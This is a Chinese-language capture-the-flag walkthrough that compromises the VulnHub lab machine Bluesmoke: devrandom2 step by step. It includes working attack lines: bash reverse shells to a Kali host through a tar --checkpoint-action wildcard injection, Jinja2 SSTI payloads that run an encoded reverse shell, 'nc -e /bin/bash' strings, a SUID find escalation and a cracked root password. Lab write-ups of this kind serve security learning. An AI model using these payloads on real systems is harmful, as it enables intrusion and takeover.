准备:
攻击机:虚拟机kali、本机win10。
靶机:Bluesmoke: devrandom2,下载地址:https://download.vulnhub.com/bluesmoke/Bluesmoke.ova,下载后直接vbox打开即可。
知识点:ssti注入漏洞、shell反弹、ffuf扫描、tar通配符漏洞、私钥破解与登录、find提权、解密(base32、base64、hexdump、hex、bin)
一:信息收集
1.nmap扫描
使用nmap扫描下靶机地址,命令:nmap -sn 192.168.1.0/24,发现靶机地址:192.168.1.14。
使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.14,显示开放了22端口、80端口,开启了ssh服务、http服务。
2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.1.14 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了upload.php、/uploads文件夹等信息。顺带进行下二级目录扫描,在/uploads文件夹下只发现了index.php。
3.web服务
访问了下:http://192.168.1.14/index.php、http://192.168.1.14/uploads/index.php和http://192.168.1.14/upload.php,并检查下其源码信息,但是均未发现有用得信息 。
进行了下ffuf扫描,去探测请求参数,但是也未发现存在可以利用得参数。
二:分析与获取shell
1.tar通配符漏洞
访问web服务时其页面显示会对我们提交的tar和zip文件进行检查并提交到备份系统:Please upload your TAR / ZIP File. We will check the files and add it to our backup system。因此猜测靶机会将我们上传的tar文件进行解压然后检查我们的文件,检查完之后在压缩成tar后上传到备份系统。关于tar命令存在一个和通配符有关的漏洞,之前利用过tar通配符进行提权。该漏洞就是当使用通配符压缩文件时,会将*替换成目录下的文件名称,因此我们可以在shell反弹脚本的同目录下添加以下两个文件:–checkpoint=1、–checkpoint-action=exec=sh upfine.shell,这样当我们执行压缩的时候就可以执行我们的脚本信息。下面是在kali中执行的压缩,可以看到反弹shell脚本可以正常执行,因此我么将该文件:upfine.tar上传至靶机。
#upfine.shell内容
bash -c "bash -i >&/dev/tcp/192.168.1.12/6688 0>&1"
#文件建立
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh upfine.shell"
2.获取shell
但是上传靶机之后shell一直未反弹成功,后来压缩语句不采用通配符压缩就可以正常反弹shell权限了,压缩命令:tar cvf upfine.tar ./upfine.shell ./’–checkpoint=1′ ./’–checkpoint-action=exec=sh upfine.shell’。
获得shell权限后在/home/backupper目录下发现flag.txt,读取该文件成功获得flag值,flag经两次base64解密后得到:nc -e /bin/bash www.theworld.com 17722,暂时不知道有什么用,先记下来。
三:提权至jaap
1.私钥破解
首先查找下具有root权限的文件信息,命令:find / -perm -4000 -type f 2>/dev/null,但是未发现任何有用的信息。
然后又上了linpeas.sh、pspty64进行信息收集,但是仍是未发下可以利用的信息。后面查看了下/home/backupper/.ssh目录下的私钥:id_rsa,利用http服务将该文件下载下来进行爆破,成功获得密码信息:samantha1。注意开启web服务时使用:python -m SimpleHTTPServer 8000。
使用获得的密码信息尝试切换jaap账户和remnie账户,但是均切换失败。并且使用ssh协议登录backupper账户也是失败(右侧);
破解密码后想着使用sudo -l查看下可以使用的命令,但是显示sudo不存在。然后看着破解的这个密码比较简单,想着破解下另外账户的密码,但是破解失败,未获得密码信息。
2.生成公钥私钥进行登录
后来就在本地生成公钥和私钥,命令:ssh-keygen -f upfine,输入的密码:samantha1,成功获得公钥和私钥。
然后开启http服务,将公钥authorized_keys上传到靶机,这样就可以在本地使用私钥直接进行连接,不在需要通过文件上传来进行shell的获取。
3.提权至jaap
使用私钥登录到backupper账户的shell后,发现当我们尝试ssh连接jaap账户时:ssh jaap@localhost,只需要我们输入backupper账户的私钥密码:samantha1,当我们输入之后成功切换到jaap账户权限。
获得jaap账户权限后在/home/jaap目录下发现flag.txt,读取该文件获得flag值,对flag值进行两次base64解密得:nc -e /bin/bash www.theworld.com 777。
四:提权至remnie
1.remnie相关信息查找
获得jaap权限后,在/home/jaap/bin目录下发现一个具有特殊权限的文件:find,那就直接查找下find得提权方式,提权命令:./find . -exec /bin/sh -p ; -quit,直接输入执行。执行完之后查看其id信息发现返回得信息中多了一个egid=1002(remnie)。
先利用find查找下具有remnie账户权限的文件信息,命令:./find / -user remnie -type f 2>/dev/null,发现以下三个目录中存在和remnie账户相关的信息:/var/mail、/home/remnie、/opt/remnie。
然后依次去目录下查找下是否存在可以利用得信息,在/home/remnie目录下发现提示信息,告诉我们存在一个本地服务在等着我们,但是未告诉我们端口。
然后在/opt/remnie/scripts目录下发现start.sh文件是可读的,查看该文件信息并进行分析,发现该文件会读取/tmp/start文件的值并判断是否为1,然后查找server.py进程并决定是否开启该进程。
那我们就需要建立该文件并使其值为1,这里可以自己创建,也可以直接通过靶机中留下的/home/jaap/bin/startserver.sh文件来进行创建,这里就直接自己 创建了,命令:echo “1” > start,然后查看下该进程是否开启,命令:ps -ef | grep server,发现该进程已开启。
2.发现本地服务
使用命令:netstat -tulpn查看下本地开启的服务,发现:127.0.0.1:8787。
这里只允许本地访问,那我们将靶机的8787端口的流量转到本地kali的8787端口中,命令:ssh -L 8787:127.0.0.1:8787 backupper@192.168.1.14 -i upfine,8787服务可以成功访问。
3.ffuf扫描
继续对该web服务进行目录扫描、ffuf扫描,在ffuf扫描时发现参数名:name。
但是输入参数:name=/etc/passwd并未读取到/etc/passwd文件,而是直接返回了输入的信息,考虑到刚在在靶机中开启的是python服务,优先测试下ssti注入,当我们输入{{3*3}}时,返回参数9,确定这里存在ssti注入。
4.ssti实现shell反弹
找以下ssti漏洞可以利用的模板,先进行测试是否可以执行,然后将执行的命令替换为shell反弹语句并进行shell的反弹,成功获得remnie账户的shell。
#shell反弹语句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("142141163150405514340471421411631504055151407646405714414516657164143160576171625661667056615661625770707171406076466147").read().zfill(417)}}{%endif%}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen("142141163150405514340471421411631504055151407646405714414516657164143160576171625661667056615661625770707171406076466147").read()") }}{% endif %}{% endfor %}
#其中的编码数据是下面的语句,主要是&符号的问题,不编码无法执行
bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'
获得remnie账户权限的shell后在/opt/remnie目录下发现flag.txt,读取该文件成功获得flag值。
五:提权至root
获得remnie账户权限后,去查看下之前发现的server.py和server.conf文件,server.py文件未发现可以进行利用的信息,访问server.conf时返回一组hash数据,使用:https://gchq.github.io/CyberChef这个网站依次进行hashdump->binary->hex->base32->base64,最终成功获得一组账户和密码信息:root/-!F8h2LMr
直接利用获得的root信息:root/-!F8h2LMr
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
机房租用,北京机房租用,IDC机房托管, http://www.e1idc.net